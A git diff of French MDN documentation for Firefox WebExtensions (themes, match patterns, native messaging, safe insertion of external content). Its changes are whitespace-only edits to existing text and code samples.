<code>additional_backgrounds</code> est experimentale. Il est + <code>additional_backgrounds</code> est experimentale. Il est actuellement accepté dans les versions finale de Firefox, mais son comportement est sujet à changement. </p> @@ -251,7 +251,7 @@ Les images doivent avoir une hauteur de 200 pixels pour garantir qu'elles rempli <p> Un tableau d'URLs pour les images de fond supplémentaires à ajouter à la zone d'en-tête et à afficher derrière l'image - <code>"theme_frame"</code> : Ces images superposent la première image + <code>"theme_frame"</code> : Ces images superposent la première image du tableau en haut, la dernière image du tableau en bas. </p> <p>Optionel.</p> @@ -268,7 +268,7 @@ Les images doivent avoir une hauteur de 200 pixels pour garantir qu'elles rempli ### Couleurs -Ces propriétés définissent les couleurs utilisées pour les différentes parties du navigateur. Ils sont tous facultatifs (mais notez que `"accentcolor"` et `"textcolor"` étaient obligatoires dans Firefox avant la version 63). L'effet de ces propriétés sur l'interface utilisateur de Firefox est présenté ici: +Ces propriétés définissent les couleurs utilisées pour les différentes parties du navigateur. Ils sont tous facultatifs (mais notez que `"accentcolor"` et `"textcolor"` étaient obligatoires dans Firefox avant la version 63). L'effet de ces propriétés sur l'interface utilisateur de Firefox est présenté ici: <table class="standard-table"> <tbody> @@ -311,7 +311,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <strong>Attention :</strong> <code>accentcolor</code> a été supprimé dans Firefox 70. Vous commencerez à recevoir des avertissements dans Firefox 65 et plus tard si vous chargez un thème qui utilise cette - propriété. Utilisez <code>frame</code> à la place. + propriété. Utilisez <code>frame</code> à la place. </p> </div> <p> @@ -336,7 +336,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <td> <p> La couleur du texte et des icônes dans le signet et les barres de - recherche. De plus, si <code>tab_text</code> n'est pas défini, il + recherche. De plus, si <code>tab_text</code> n'est pas défini, il définit la couleur du texte de l'onglet actif et si les <code>icons</code> ne sont pas définies, la couleur des icônes de la barre d'outils. Fourni en tant qu'alias compatible Chrome pour @@ -414,9 +414,9 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celles utilisées dans <code>frame</code>, + contraste bien avec celles utilisées dans <code>frame</code>, <code>frame_inactive</code>, <code>button_background_active</code>, - et <code>button_background_hover</code>. + et <code>button_background_hover</code>. </p> </div> <pre class="brush: json"> @@ -441,9 +441,9 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celles utilisées dans <code>frame</code>, + contraste bien avec celles utilisées dans <code>frame</code>, <code>frame_inactive</code>, <code>button_background_active</code>, - et <code>button_background_hover</code>. + et <code>button_background_hover</code>. </p> </div> <pre class="brush: json"> @@ -521,7 +521,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celle utilisée dans + contraste bien avec celle utilisée dans <code>ntp_background</code>. </p> </div> @@ -776,8 +776,8 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celles utilisées dans - <code>tab_selected</code> ou <code>frame</code> et + contraste bien avec celles utilisées dans + <code>tab_selected</code> ou <code>frame</code> et <code>frame_inactive</code>. </p> </div> @@ -862,8 +862,8 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celles utilisées dans - <code>tab_selected</code> ou <code>frame</code> et + contraste bien avec celles utilisées dans + <code>tab_selected</code> ou <code>frame</code> et <code>frame_inactive</code>. </p> </div> @@ -1062,7 +1062,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <p> Ici, le champ <code>toolbar_field_highlight</code> spécifie que la couleur de surbrillance est un vert clair, alors que le texte est - réglé sur un vert foncé à vert moyen en utilisant le texte + réglé sur un vert foncé à vert moyen en utilisant le texte <code>toolbar_field_highlight_text</code>. </p> </td> @@ -1078,7 +1078,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> S'assurer que la couleur utilisée contraste - bien avec celles utilisées dans + bien avec celles utilisées dans <code>toolbar_field_highlight</code>. </p> </div> @@ -1139,7 +1139,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celles utilisées dans + contraste bien avec celles utilisées dans <code>toolbar_field</code>. </p> </div> @@ -1167,7 +1167,7 @@ Toutes ces propriétés peuvent être spécifiées sous la forme d'une chaîne c <div class="note"> <p> <strong>Note :</strong> Assurez-vous que la couleur utilisée - contraste bien avec celles utilisées dans + contraste bien avec celles utilisées dans <code>toolbar_field_focus</code>. </p> </div> @@ -1320,7 +1320,7 @@ En outre, cette clé accepte diverses propriétés qui sont des alias pour l'une <p>Optional.</p> <p> Un tableau de valeurs d'énumérations définissant, comme l'élément de - tableau <code>"additional_backgrounds":</code> correspondant de + tableau <code>"additional_backgrounds":</code> correspondant de répétition. Les options comprennent : </p> <ul> diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.md index 29fbf0babf..53db9a1d86 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme_experiment/index.md @@ -154,7 +154,7 @@ La feuille de style définit : } ``` -où `#reload-button` est le sélecteur CSS interne de Firefox pour le bouton reload et `--reload-button-color` est un nom arbitraire.. +où `#reload-button` est le sélecteur CSS interne de Firefox pour le bouton reload et `--reload-button-color` est un nom arbitraire.. Dans le fichier `manifest.json`, `--reload-button-color` est alors mappé au nom à utiliser dans la propriété `theme` `colors` : @@ -181,7 +181,7 @@ Ceci a pour effet de rendre l'icône de recharge orange.  -Cette propriété peut également être utilisée dans `browser.theme.update()`. `images` et `properties` travaillent de la même manière que `colors`. +Cette propriété peut également être utilisée dans `browser.theme.update()`. `images` et `properties` travaillent de la même manière que `colors`. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/web_accessible_resources/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/web_accessible_resources/index.md index 74dba559b5..7dcd07c91e 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/web_accessible_resources/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/web_accessible_resources/index.md @@ -36,7 +36,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resou Parfois, vous souhaitez associer certaines ressources - par exemple, images, HTML, CSS ou JavaScript - avec votre extension pour les mettre à la disposition des pages Web. -Par exemple, l'[extensions d'exemple "beastify"](https://github.com/mdn/webextensions-examples/tree/master/beastify) remplace une page web par une image d'une bête sélectionnée par l'utilisateur. Les images de la bête sont emballées avec l'extension. Pour rendre visible l'image sélectionnée, l'extension ajoute [`<img>`](/fr/docs/Web/HTML/Element/img) des éléments dont l'attribut `src` pointe sur l'image de la bête. Pour que la page Web puisse charger les images, elles doivent être rendues accessibles sur le Web. +Par exemple, l'[extensions d'exemple "beastify"](https://github.com/mdn/webextensions-examples/tree/master/beastify) remplace une page web par une image d'une bête sélectionnée par l'utilisateur. Les images de la bête sont emballées avec l'extension. Pour rendre visible l'image sélectionnée, l'extension ajoute [`<img>`](/fr/docs/Web/HTML/Element/img) des éléments dont l'attribut `src` pointe sur l'image de la bête. Pour que la page Web puisse charger les images, elles doivent être rendues accessibles sur le Web. Avec la clé `web_accessible_resources` liste toutes les ressources packagées que vous souhaitez mettre à la disposition des pages Web. Vous les spécifiez comme chemins relatifs dans le fichier manifest.json. @@ -66,7 +66,7 @@ Le fichier sera alors disponible en utilisant une URL comme : `<extension-UUID>` n'est **pas** l'identifiant de votre extension. Il est généré de manière aléatoire pour chaque instance de navigateur. Ceci empêche les sites Web de prendre les empreintes digitales d'un navigateur en examinant les extensions qu'il a installées. -> **Note :** Dans Chrome, l'ID d'une extension est fixe. Quand une ressource est listée dans `web_accessible_resources`, elle est accessible comme `chrome-extension://<your-extension-id>/<path/to/resource>`. +> **Note :** Dans Chrome, l'ID d'une extension est fixe. Quand une ressource est listée dans `web_accessible_resources`, elle est accessible comme `chrome-extension://<your-extension-id>/<path/to/resource>`. L'approche recommandée pour obtenir l'URL de la ressource est d'utiliser [`runtime.getURL`](/fr/Add-ons/WebExtensions/API/runtime/getURL) en passant le chemin relatif à manifest.json, par exemple : @@ -80,7 +80,7 @@ Cette approche vous donne l'URL correcte quel que soit le navigateur sur lequel ### Caractères génériques -`web_accessible_resources` peuvent contenir des caractères génériques. Par exemple, l'entrée suivante fonctionnera également pour inclure la ressource à "images/my-image.png": +`web_accessible_resources` peuvent contenir des caractères génériques. Par exemple, l'entrée suivante fonctionnera également pour inclure la ressource à "images/my-image.png": ```json "web_accessible_resources": ["images/*.png"] diff --git a/files/fr/mozilla/add-ons/webextensions/match_patterns/index.md b/files/fr/mozilla/add-ons/webextensions/match_patterns/index.md index 2f0cffb120..6628170f8c 100644 --- a/files/fr/mozilla/add-ons/webextensions/match_patterns/index.md +++ b/files/fr/mozilla/add-ons/webextensions/match_patterns/index.md @@ -91,7 +91,7 @@ Le composant du chemin d’accès doit commencer par un `/`. Ensuite, il peut contenir éventuellement toute combinaison du caractère générique `*` et de l’un des caractères autorisés dans les chemins d’URL ou chaînes de requête. Contrairement à l’_hôte_, le composant du _chemin_ peut contenir le caractère générique `*` au milieu ou à la fin, et le caractère `*` peut apparaître plusieurs fois. -La valeur du _chemin_ matches correspond à la chaîne de caractères qui est le chemin plus la [chaine de requête URL](https://en.wikipedia.org/wiki/Query_string). Ceci inclut le signe `?` entre les deux, si la chaîne de requête est présente dans l'URL. Par exemple, si vous voulez faire correspondre des URLs sur n'importe quel domaine où le chemin URL se termine par `foo.bar`, alors vous devez utiliser un tableau de Match Patterns comme `['*://*/*foo.bar', '*://*/*foo.bar?*']`. Le `?*` est nécessaire, plutôt que juste la `bar*`, afin d'ancrer la fin `*` comme s'appliquant à la chaîne de requête URL et non à une partie du chemin URL. +La valeur du _chemin_ matches correspond à la chaîne de caractères qui est le chemin plus la [chaine de requête URL](https://en.wikipedia.org/wiki/Query_string). Ceci inclut le signe `?` entre les deux, si la chaîne de requête est présente dans l'URL. Par exemple, si vous voulez faire correspondre des URLs sur n'importe quel domaine où le chemin URL se termine par `foo.bar`, alors vous devez utiliser un tableau de Match Patterns comme `['*://*/*foo.bar', '*://*/*foo.bar?*']`. Le `?*` est nécessaire, plutôt que juste la `bar*`, afin d'ancrer la fin `*` comme s'appliquant à la chaîne de requête URL et non à une partie du chemin URL. Ni l'[identificateur de fragment d'URL](https://en.wikipedia.org/wiki/Fragment_identifier), ni le `#` qui le précède, ne sont considérés comme faisant partie du _chemin_. @@ -99,7 +99,7 @@ Ni l'[identificateur de fragment d'URL](https://en.wikipedia.org/wiki/Fragment_i ### \<all_urls> -La valeur spéciale `<all_urls>` correspond à toutes les URL sous l’un des schémas pris en charge, c’est‐à‐dire : "http", "https", "ws", "wss", "ftp", "data" et "file". +La valeur spéciale `<all_urls>` correspond à toutes les URL sous l’un des schémas pris en charge, c’est‐à‐dire : "http", "https", "ws", "wss", "ftp", "data" et "file". ## Exemples @@ -207,7 +207,7 @@ La valeur spéciale `<all_urls>` correspond à toutes les URL sous l’un des sc <td> <p><code>https://*/path</code></p> <p> - Correspondance aux URLs HTTPS sur n'importe quel hôte, dont le chemin + Correspondance aux URLs HTTPS sur n'importe quel hôte, dont le chemin est "path". </p> </td> diff --git a/files/fr/mozilla/add-ons/webextensions/modify_a_web_page/index.md b/files/fr/mozilla/add-ons/webextensions/modify_a_web_page/index.md index ace573cf39..b245f6eb96 100644 --- a/files/fr/mozilla/add-ons/webextensions/modify_a_web_page/index.md +++ b/files/fr/mozilla/add-ons/webextensions/modify_a_web_page/index.md @@ -43,7 +43,7 @@ Tout d'abord, créez un nouveau répertoire intitulé "modify-page". Dans ce ré } ``` -La clé [`content_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts) est la façon dont vous chargez les scripts dans des pages qui correspondent aux modèles d'URL. Dans ce cas, les instructions `content_scripts demandent au navigateur de charger un script appelé` "page-eater.js" dans toutes les pages sous [https://developer.mozilla.org/](/). +La clé [`content_scripts`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts) est la façon dont vous chargez les scripts dans des pages qui correspondent aux modèles d'URL. Dans ce cas, les instructions `content_scripts demandent au navigateur de charger un script appelé` "page-eater.js" dans toutes les pages sous [https://developer.mozilla.org/](/). > **Note :** Puisque la propriété "js" de content_scripts est un tableau, vous pouvez l'utiliser pour injecter plus d'un script dans des pages correspondantes. Si vous faites cela, les pages partagent la même portée, tout comme les scripts multiples chargés par une page, et ils sont chargés dans l'ordre dans lequel ils sont répertoriés dans le tableau. @@ -95,7 +95,7 @@ Ici, nous avons supprimé la clé content_scripts et ajouté deux nouvelles clé - [`permissions`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions): Pour injecter dans des pages, nous avons besoin de permissions pour la page que nous modifions. La [`permission activeTab`](/fr/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission) est un moyen d'obtenir ceci temporaiement pour l'onglet actuellement actif. Nous avons également besoin de la permission contextMenus pour pouvoir ajouter des éléments du menu contextuel. - [`background`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/background): Nous utilisons ceci pour charger un ["script de fond"](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts) persistant appelé "background.js", dans lequel nous configurons le menu contextuel et injectons le script de contenu. -Créons ce fichier, pour cela nous créons un fichier appelé "background.js" dans le dossier "modify-page", et donnez-lui le contenu suivant : +Créons ce fichier, pour cela nous créons un fichier appelé "background.js" dans le dossier "modify-page", et donnez-lui le contenu suivant : ```js browser.contextMenus.create({ @@ -127,7 +127,7 @@ Maintenant [rechargeons la WebExtension](/fr/Add-ons/WebExtensions/Temporary_Ins {{EmbedYouTube("zX4Bcv8VctA")}} -> **Note :** Bien que cette vidéo montre le script de contenu fonctionnant dans [addons.mozilla.org](/fr/firefox/), les scripts de contenu sont actuellement bloqués pour ce site. +> **Note :** Bien que cette vidéo montre le script de contenu fonctionnant dans [addons.mozilla.org](/fr/firefox/), les scripts de contenu sont actuellement bloqués pour ce site. ## Messagerie diff --git a/files/fr/mozilla/add-ons/webextensions/native_manifests/index.md b/files/fr/mozilla/add-ons/webextensions/native_manifests/index.md index 1c7465298c..38ef5ea5d6 100644 --- a/files/fr/mozilla/add-ons/webextensions/native_manifests/index.md +++ b/files/fr/mozilla/add-ons/webextensions/native_manifests/index.md @@ -41,7 +41,7 @@ Il existe trois types différents de manifest natif : <tr> <td><a href="#PKCS_11_manifests">PKCS #11 manifests</a></td> <td> - Activez une extension pour utiliser l'API + Activez une extension pour utiliser l'API {{WebExtAPIRef("pkcs11")}} afin d'énumérer les modules de sécurité PKCS #11 et installez-les dans Firefox. </td> @@ -70,7 +70,7 @@ Le manifest de messagerie natif contient un seul objet JSON avec les propriété <td> <p>Nom de l'application native.</p> <p> - Cela doit correspondre au nom passé dans + Cela doit correspondre au nom passé dans {{WebExtAPIRef("runtime.connectNative()")}} ou {{WebExtAPIRef("runtime.sendNativeMessage()")}} par l'extension. @@ -334,11 +334,11 @@ Par exemple : ```json { - "name": "my_module", - "description": "My test module", - "type": "pkcs11", - "path": "/path/to/libpkcs11testmodule.dylib", - "allowed_extensions": ["my-extension@mozilla.org"] + "name": "my_module", + "description": "My test module", + "type": "pkcs11", + "path": "/path/to/libpkcs11testmodule.dylib", + "allowed_extensions": ["my-extension@mozilla.org"] } ``` diff --git a/files/fr/mozilla/add-ons/webextensions/native_messaging/index.md b/files/fr/mozilla/add-ons/webextensions/native_messaging/index.md index 0a53141380..1abda8bf60 100644 --- a/files/fr/mozilla/add-ons/webextensions/native_messaging/index.md +++ b/files/fr/mozilla/add-ons/webextensions/native_messaging/index.md @@ -9,9 +9,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/Native_messaging Native messaging permet à une extension d'échanger des messages avec une application native installée sur l'ordinateur de l'utilisateur. Ceci permet que des applications natives puissent fournir un service à des extensions sans avoir besoin d'être atteignables via internet. Un exemple typique est le gestionnaire de mots de passe : l'application native s'occupe du stockage et du chiffrement des mots de passe et communique avec l'extension afin de remplir les formulaires web. Native messaging permet aussi aux extensions d'accéder à des ressources qui ne sont pas accessibles via les API WebExtension, par exemple le matériel hardware particulier. -L'application native n'est pas installée ou gérée par le navigateur : elle est installée à l'aide du système d'installation du système d'exploitation sous‐jacent. En plus de l'application native elle‐même, vous devrez fournir un fichier JSON appelé « manifest hôte » (host manifest) ou « manifest d'application » (app manifest) et l'installer dans un emplacement défini sur l'ordinateur de l'utilisateur. Le fichier manifest de l'application décrit comment le navigateur peut se connecter à l'application native. +L'application native n'est pas installée ou gérée par le navigateur : elle est installée à l'aide du système d'installation du système d'exploitation sous‐jacent. En plus de l'application native elle‐même, vous devrez fournir un fichier JSON appelé « manifest hôte » (host manifest) ou « manifest d'application » (app manifest) et l'installer dans un emplacement défini sur l'ordinateur de l'utilisateur. Le fichier manifest de l'application décrit comment le navigateur peut se connecter à l'application native. -L'extension doit demander l'[autorisation](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) « nativeMessaging » dans son fichier manifest.json. À l'inverse, l'application native doit accorder l'autorisation à l'extension en incluant son ID dans le champ « allowed_extensions » (extensions autorisées) du manifest de l'application. +L'extension doit demander l'[autorisation](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) « nativeMessaging » dans son fichier manifest.json. À l'inverse, l'application native doit accorder l'autorisation à l'extension en incluant son ID dans le champ « allowed_extensions » (extensions autorisées) du manifest de l'application. Par la suite, l'extension pourra échanger des messages en JSON avec l'application native en utilisant une série de fonctions de l'API {{WebExtAPIRef("runtime")}}. Du côté de l'application native, les messages seront reçus en utilisant l'entrée standard (stdin, standard input) et envoyés en utilisant la sortie standard (stdout, standard output). @@ -22,7 +22,7 @@ Le support de native messaging dans les extensions est généralement compatible - La liste `allowed_extensions` du manifest de l'application est un tableau d'ID d'applications, tandis que Chrome liste `allowed_origins`, sous la forme d'un tableau d'URL "chrome-extension". - Le manifeste de l'application est stocké dans un emplacement différent [comparé à Chrome](https://developer.chrome.com/extensions/nativeMessaging#native-messaging-host-location). -Il y a un exemple complet (en anglais) dans le répertoire « [native‐messaging](https://github.com/mdn/webextensions-examples/tree/master/native-messaging) » du dépôt « webextensions‐examples » sur GitHub. La plus grande partie du code de cet article est repris de cet exemple. +Il y a un exemple complet (en anglais) dans le répertoire « [native‐messaging](https://github.com/mdn/webextensions-examples/tree/master/native-messaging) » du dépôt « webextensions‐examples » sur GitHub. La plus grande partie du code de cet article est repris de cet exemple. ## Mise en œuvre @@ -33,7 +33,7 @@ Si vous souhaitez que votre extension puisse communiquer avec une application na - Vous devez ajouter la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) dans son fichier [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json). - Vous devriez probablement spécifier explicitement l'id de votre add‐on, en utilisant la clé de manifest des [applications](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings) ( Parce que le manifest de l'application identifiera le jeu d'extensions qui sont autorisées à se connecter à celle-ci via la liste de leur ID). -Voici un exemple de fichier « manifest.json » : +Voici un exemple de fichier « manifest.json » : ```json { @@ -136,7 +136,7 @@ L'aplication continue de fonctionner jusqu'à ce que l'extension invoque `Port.d Pour envoyer des messages en utilisant `Port`, utilisez sa fonction `postMessage()`, en passant le message JSON à envoyer. Pour écouter les messages en utilisant `Port`, ajouter un écouteur (_listener_) en utilisant sa fonction `onMessage.addListener()`. -Voici un exemple de script « _background_ » qui établit une connection avec l'application « ping_pong », qui écoute à l'attente de messages de celle‐ci et qui lui envoie un message « ping » à chaque fois que l'utilisateur clique sur l'action du navigateur (_browser action_) : +Voici un exemple de script « _background_ » qui établit une connection avec l'application « ping_pong », qui écoute à l'attente de messages de celle‐ci et qui lui envoie un message « ping » à chaque fois que l'utilisateur clique sur l'action du navigateur (_browser action_) : ```js /* @@ -314,8 +314,8 @@ Si vous n'avez pas réussi à démarrer l'application, vous devriez voir un mess "No such native application <name>" - Vérifiez que le nom passé comme argument à la fonction `runtime.connectNative()` correspond au nom dans le manifest de l'application -- OS X / Linux : vérifiez que le nom du fichier de manifest de l'application est \<name>.json. -- Windows : vérifiez que la clé de registre est dans l'endroit correcte, et que son nom correspond au « name » dans le manifest de l'application. +- OS X / Linux : vérifiez que le nom du fichier de manifest de l'application est \<name>.json. +- Windows : vérifiez que la clé de registre est dans l'endroit correcte, et que son nom correspond au « name » dans le manifest de l'application. - Windows : vérifiez que le chemin donné dans la clé de registre pointe vers le manifest de l'application. <!----> @@ -335,16 +335,16 @@ Si vous n'avez pas réussi à démarrer l'application, vous devriez voir un mess "File at path <path> does not exist, or is not executable" - Si vous voyez ce message, alors le fichier de manifest de l'application a été trouvé. -- Vérifier que le « chemin » dans le manifest de l'application est correct. -- Windows : vérifiez que vous avez « échappé » les séparateurs du chemin ("c:\\\path\\\to\\\file"). -- Vérifiez que l'application se trouve bien à l'endroit indiqué par la propriété « path » dans le manifest de l'application. +- Vérifier que le « chemin » dans le manifest de l'application est correct. +- Windows : vérifiez que vous avez « échappé » les séparateurs du chemin ("c:\\\path\\\to\\\file"). +- Vérifiez que l'application se trouve bien à l'endroit indiqué par la propriété « path » dans le manifest de l'application. - Vérifiez que l'application est exécutable. <!----> "This extension does not have permission to use native application <name>" -- Vérifier que le tableau « allowed_extensions » dans le manifest de l'application contient l'ID de l'add‐on. +- Vérifier que le tableau « allowed_extensions » dans le manifest de l'application contient l'ID de l'add‐on. <!----> diff --git a/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.md b/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.md index 0206a6ecfc..4f39fcb055 100644 --- a/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.md +++ b/files/fr/mozilla/add-ons/webextensions/safely_inserting_external_content_into_a_page/index.md @@ -101,7 +101,7 @@ elem.html(cleanHTML); Un autre modèle courant consiste à créer un modèle HTML local pour une page et à utiliser des valeurs distantes pour remplir les blancs. Bien que cette approche soit généralement acceptable, il faut éviter d'utiliser des constructions qui permettraient l'insertion de code exécutable. Cela peut se produire lorsque le moteur de création de modèles utilise des constructions qui insèrent du code HTML brut dans le document. Si la variable utilisée pour insérer le code HTML brut est une source distante, elle est soumise au même risque de sécurité mentionné dans l'introduction. -Par exemple, lorsque vous utilisez des [modèles moustache](https://mustache.github.io/), vous devez utiliser la double moustache, `\{{variable}}`, qui échappe à tout code HTML. L'utilisation de la triple moustache, `\{\{{variable}}}`, doit être évitée car cela injecte une chaîne HTML brute et pourrait ajouter du code exécutable à votre modèle. [Handlebars](http://handlebarsjs.com/) fonctionne d'une manière similaire, avec des variables dans le double guidon, `\{{variable}}`, étant échappé. Considérant que, les variables dans le guidon triple sont laissées crues et doivent être évitées. De même, si vous créez une aide Handlebars à l'aide de `Handlebars.SafeString` utilisez `Handlebars.escapeExpression()` pour échapper tous les paramètres dynamiques transmis à l'assistant. C'est une exigence car la variable résultante de `Handlebars.SafeString` est considérée comme sûre et elle n'est pas échappée lorsqu'elle est insérée avec des guidons doubles. +Par exemple, lorsque vous utilisez des [modèles moustache](https://mustache.github.io/), vous devez utiliser la double moustache, `\{{variable}}`, qui échappe à tout code HTML. L'utilisation de la triple moustache, `\{\{{variable}}}`, doit être évitée car cela injecte une chaîne HTML brute et pourrait ajouter du code exécutable à votre modèle. [Handlebars](http://handlebarsjs.com/) fonctionne d'une manière similaire, avec des variables dans le double guidon, `\{{variable}}`, étant échappé. Considérant que, les variables dans le guidon triple sont laissées crues et doivent être évitées. De même, si vous créez une aide Handlebars à l'aide de `Handlebars.SafeString` utilisez `Handlebars.escapeExpression()` pour échapper tous les paramètres dynamiques transmis à l'assistant. C'est une exigence car la variable résultante de `Handlebars.SafeString` est considérée comme sûre et elle n'est pas échappée lorsqu'elle est insérée avec des guidons doubles. Il existe des concepts similaires dans d'autres systèmes de modélisation qui doivent être abordés avec le même niveau de soin. diff --git a/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.md b/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.md index c4e19d0fcd..bb056a0a6c 100644 --- a/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.md @@ -44,7 +44,7 @@ Pour l'histoire complète sur la vision Xray, voir les articles sur [Vision Xray ## Accès aux objets de script de page à partir de scripts de contenu -Dans Firefox, les objets DOM dans les scripts de contenu obtiennent une propriété supplémentaire `wrappedJSObject`. C'est une version "déballée" de l'objet, qui inclut toutes les modifications apportées à cet objet par les scripts de page. +Dans Firefox, les objets DOM dans les scripts de contenu obtiennent une propriété supplémentaire `wrappedJSObject`. C'est une version "déballée" de l'objet, qui inclut toutes les modifications apportées à cet objet par les scripts de page. Prenons un exemple simple. Supposons qu'une page Web charge un script: @@ -138,7 +138,7 @@ browser.runtime.onMessage.addListener((message) => { Cela fait deux choses : - exécuter un script de contenu dans l'onglet en cours, lorsque l'utilisateur clique sur une action du navigateur -- écouter les messages du script de contenu et afficher une [notification](/fr/Add-ons/WebExtensions/API/notifications) lorsque le message arrive. +- écouter les messages du script de contenu et afficher une [notification](/fr/Add-ons/WebExtensions/API/notifications) lorsque le message arrive. Le script de contenu ressemble à ceci : diff --git a/files/fr/mozilla/add-ons/webextensions/tips/index.md b/files/fr/mozilla/add-ons/webextensions/tips/index.md index 867f2f01f8..ce3978b4b6 100644 --- a/files/fr/mozilla/add-ons/webextensions/tips/index.md +++ b/files/fr/mozilla/add-ons/webextensions/tips/index.md @@ -19,7 +19,7 @@ Firefox prend [en charge de nombreuses fonctionnalités de ECMAScript 2015](/Web Attention, tout ce qui se trouve en dessous de cette ligne est obsolète et a été retiré de Babel 6. -Babel fournit des transformations pour la grande majorité des fonctionnalités ES2015 et les active par défaut. Puisque Firefox supporte déjà la plupart d'entre eux, il est préférable de configurer Babel pour les ignorer. Nous vous suggérons de créer un fichier `.babelrc`, ou une section `babel` dans le fichier `package.json` de votre projet contenant les éléments suivants : +Babel fournit des transformations pour la grande majorité des fonctionnalités ES2015 et les active par défaut. Puisque Firefox supporte déjà la plupart d'entre eux, il est préférable de configurer Babel pour les ignorer. Nous vous suggérons de créer un fichier `.babelrc`, ou une section `babel` dans le fichier `package.json` de votre projet contenant les éléments suivants : ```js { diff --git a/files/fr/mozilla/add-ons/webextensions/user_actions/index.md b/files/fr/mozilla/add-ons/webextensions/user_actions/index.md index c6e3497fe0..471638d082 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_actions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_actions/index.md @@ -12,9 +12,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/User_actions Certaines API WebExtension exécutent des fonctions qui sont généralement exécutées à la suite d'une action utilisateur. Par exemple: - une action du navigateur avec un popup affichera le popup lorsque l'utilisateur clique dessus, mais il y a aussi une API {{WebExtAPIRef("browserAction.openPopup")}} permettant à une extension d'ouvrir le popup en programmation. -- si une extension ajoute une barre latérale, elle est généralement ouverte par l'utilisateur via une partie de l'interface utilisateur intégrée du navigateur, comme le menu Affichage/Barre latérale. Mais il y a aussi une API {{WebExtAPIRef("sidebarAction.open")}} permettant à une extension d'ouvrir leur barre latérale en programmation. +- si une extension ajoute une barre latérale, elle est généralement ouverte par l'utilisateur via une partie de l'interface utilisateur intégrée du navigateur, comme le menu Affichage/Barre latérale. Mais il y a aussi une API {{WebExtAPIRef("sidebarAction.open")}} permettant à une extension d'ouvrir leur barre latérale en programmation. -Pour suivre le principe de "pas de surprises", des APIs comme celle-ci ne peuvent être appelées que de l'intérieur du gestionnaire pour une action de l'utilisateur. Les actions de l'utilisateur comprennent ce qui suit : +Pour suivre le principe de "pas de surprises", des APIs comme celle-ci ne peuvent être appelées que de l'intérieur du gestionnaire pour une action de l'utilisateur. Les actions de l'utilisateur comprennent ce qui suit : - Cliquez sur l'action du navigateur ou de la page de l'extension. - Sélection d'un élément de menu contextuel défini par l'extension. diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/browser_action/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/browser_action/index.md index dd0234db4c..2f84aafbc0 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/browser_action/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/browser_action/index.md @@ -12,7 +12,7 @@ Le bouton de la barre d'outils (action du navigateur) est très similaire au bou ## Spécification de l'action du navigateur -Vous définissez les propriétés de l'action du navigateur à l'aide de la clé [`browser_action`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action) dans manifest.json: +Vous définissez les propriétés de l'action du navigateur à l'aide de la clé [`browser_action`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action) dans manifest.json: ```json "browser_action": { @@ -26,13 +26,13 @@ Vous définissez les propriétés de l'action du navigateur à l'aide de la clé La seule clé obligatoire est `default_icon`. -Il existe deux façons de spécifier une action du navigateur: avec 